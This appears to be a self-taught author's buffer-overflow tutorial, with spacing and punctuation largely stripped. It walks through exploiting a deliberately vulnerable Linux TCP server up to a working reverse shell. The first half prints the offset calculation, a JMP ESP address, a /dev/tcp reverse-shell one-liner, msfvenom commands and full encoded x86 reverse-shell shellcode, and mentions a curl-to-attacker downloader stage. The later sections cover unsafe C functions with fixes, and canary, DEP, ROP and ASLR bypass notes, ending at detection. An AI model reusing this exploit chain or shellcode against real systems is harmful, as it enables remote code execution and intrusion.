YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236
Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP
value
usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236
Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis
python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample
Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands
Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a
bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode
python-cprintx901040+x454+x904
Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs
Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect
thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545
MESSAGE=x901040+x454+x901000
Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly
x45454545
Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our
NOPSletsruntheattackwiththefollowinglogicintheclientpy
MESSAGE=x901040+x454+x901000
Letrsquosswitchsomethingsupandtryanewdebuggerhellip
1 Server1337
2 Fromterminal2rarredb
3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo
4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)
5 UpdateyourclientPoCcode
6 pythonclientPoCpy1337
CodeChanges
malware=(x41100)
eip=x424
ending=x90200
nopsled=(x90(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly
Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand
corner
Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points
to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At
memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware
Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump
intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor
aJMPESPopcodetofindamemorylocationwiththatinstruction
1 runthevulnerableserver
2 startupedbdebuggerandattackthevulnerableserver
3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP
4 Manuallysearchthrougheachloadedbinaryandclicksearch
0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU
tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder
So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the
futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun
Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow
binsh-igtampdevtcp12700144440gtamp1
Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in
one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It
lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)
The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate
a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and
not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there
isanaddedlayerofcomplexity
LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes
ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs
NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general
sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as
register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often
abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine
codeinstructionsrdquo
So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But
when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing
the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work
helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos
So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters
commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it
any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the
registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip
PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip
binsh-igtampdevtcp12700144440gtamp1
encodesto
x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x
2fx34x34x34x34x20x30x3ex26x31
Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly
from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a
simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX
To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86
encodedcommandthatthekernelcaninterpret
binsh-igtampdevtcp12700144440gtamp1
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
x86encodedShellCode
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01
xd8x7dxf3xdcx9b
TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully
understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally
worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders
- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform
- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina
singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos
ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is
malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced
- f=formathellipThatcanberawCJSPshelletcetc
- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore
- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere
Wheredoweputourmalware
While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the
clientpyscriptputtingthemalwarebeforeEIPlookslikethis
NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS
Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is
important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left
manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior
because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory
address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and
unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto
HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow
malware=x41x30
eip=x97xcfxfaxb7
eip=x41x41x41x41
ending=x90200
nopsled=(x41(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then
look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote
with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register
pointertojumpintothenopsled
One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that
specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that
can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out
bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo
for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell
codeaftertheEIPsowecanjumpintoESP
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip
x86encodedShellCodewBadCharacters(Fornextsection)
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01
xd8x7dxf3xdcx9bx00x00
Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade
UpdatedclientpyCodewiththeldquoBadCharactercoderdquo
Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the
clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and
overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a
connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection
willfail
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or
WHOIScommandsLetrsquosinvestigate
1 RightclickEIPinRegisterWindowsrarrFollowinDump
2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending
3 Lookforx00commandsandtrytonoticeanythingorstrange
WhattheTargetMachineSees
Whatwesentover
We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc
etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does
not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP
CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence
of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into
various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad
charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard
So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and
omitcharacters
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow
ofhellip
1 UseagiantblobofallASCIcharactersinHEX
2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline
Howtotestforbadcharactersandotherassemblyandregisterissues
Terminal1Server1337
Terminal2edb(orGDBIwonrsquotjudge)
fromedbrarrattachrarrServer
fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning
Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory
Yoursquollbelookingforx41orx90rsquos
Option1-AlltheASCII
x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10
x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20
x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30
x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40
x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50
x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60
x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70
x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80
x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90
x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0
xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0
xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0
xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0
xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0
xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff
Option2-Testsomespecificcommands
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto
thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest
Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution
ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime
issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo
KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor
hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO
commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell
NewPayload
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode
FinalResults
SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere
theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback
toourldquoattackingrdquoterminal(farthestright)
CommonBufferOverflowExampleandMitigations(inC)
WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare
morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated
stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline
orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()
andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe
assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe
registersofacompiledbinaryorreviewingtheoutputfromGHIDRA
gets
Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability
VulnerableCode(SOURCE)
printfexternallink(Inputsomethingnastyhere)
gets(something)
VulnerableCode(ASSEMBLY)
FixedCode
printfexternallink(Inputsomethingnastyhere)
fgets(usernameLENGTHstdin)
strcpy
Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone
contiguoustomemorywherethepayloadisstored
VulnerableCode
charstr1[10]
charstr2[]=badstuffhere
strcpy(str1str2)
FixedCode(SOURCE)
enumBUFFER_LIMIT=1024
intmain()
chardst[BUFFER_LIMIT]
charsrc[]=badstuffhere
intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)
if(buffer_lengthgt=BUFFER_LIMIT)
printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn
buffer_lengthBUFFER_LIMIT-1)
VulnerableCode(ASSEMBLY)
Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows
FixedCode(SOURCE)
enumBUFFER_BOUNDARY_SIZE=1024
charstr1[BUFFER_BOUNDARY_SIZE]
charstr2[]=badstuffhere
strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize
strcat
YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto
thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin
sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied
FixedCode(SOURCE)
defineBUFFER_BOUNDARY_SIZE1024
charbuff[BUFFER_BOUNDARY_SIZE]
Usesecurestrncpythenuse
strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)
buff[BUFFER_BOUNDARY_SIZE-1]=0
strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)
strcmp
ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach
otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot
validatethesizeoftheinputagainstthepredefinedbuffer
OtherMitigationstoBufferOverflows
During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable
ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the
following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits
need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my
own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the
newcomertodiptheirtoesintothesubjects
Canary
A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions
prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary
ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps
detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly
overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith
https0x00secorgtexploit-mitigation-techniques-stack-canaries5085
httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained
httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf
DEP-DataExecutionProtection
DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware
executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as
non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns
For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag
of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other
linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow
security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks
forroutineswithanytypeofbuffer
In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get
the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the
bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP
setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may
introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP
httpslwnnetArticles422487
httpslinuxdienetman8execstack
httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in
httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your
httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae
BypassingDEP
Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to
David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view
ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining
So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu
will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you
overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary
arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in
linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable
in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another
option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in
the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the
application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of
instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope
somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle
ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot
intendtohavethewordldquoheartrdquodidherdquo
Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your
payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP
gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET
instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps
An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute
ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script
which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1
But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it
difficulttocallexecve()orsystem()
Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove
found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create
a new executable space or change the flag for existing executable space However finding the memory addresses to these functions
andcallingthemappearstobeadifferentstory
httpsgithubcomJonathanSalwanROPgadget
httpswwwrapid7comresourcesrop-exploit-explained
httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf
httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf
httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi
ng-chains]pdf
ASLR(Addressspacelayoutrandomization)
Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation
BypassingASLR
Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and
windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible
chunksandhopefullythishelpsguidemyselfandotherfurtherstudies
NonASLRlinkedbinaries
It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with
some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something
that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR
enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the
memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program
with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass
ASLRandbeginaROPattack
httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf
httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf
PointerLeaksDanglingPointers
If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot
for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code
into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE
which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory
object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that
the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how
virtualfunctionsarereferencedviavirtualtables
httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf
httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf
httpswwwrapid7comresourceswhy-you-should-be-using-emet
HEAPSprayswithASLRdisabledVirtualAlloc()inWindows
If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create
write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can
either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by
VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this
seemslikejustplainluck
httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified
httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf
BlueteamEngineeringforpostBufferOverflow
For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just
learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos
are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues
SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to
Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I
thoughtthroughthisIlumpedthedetectionintotwobuckets
1 DetectingFailedBufferOverflowAttempts
2 DetectingSuccessfullyBufferOverflowAttempts
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
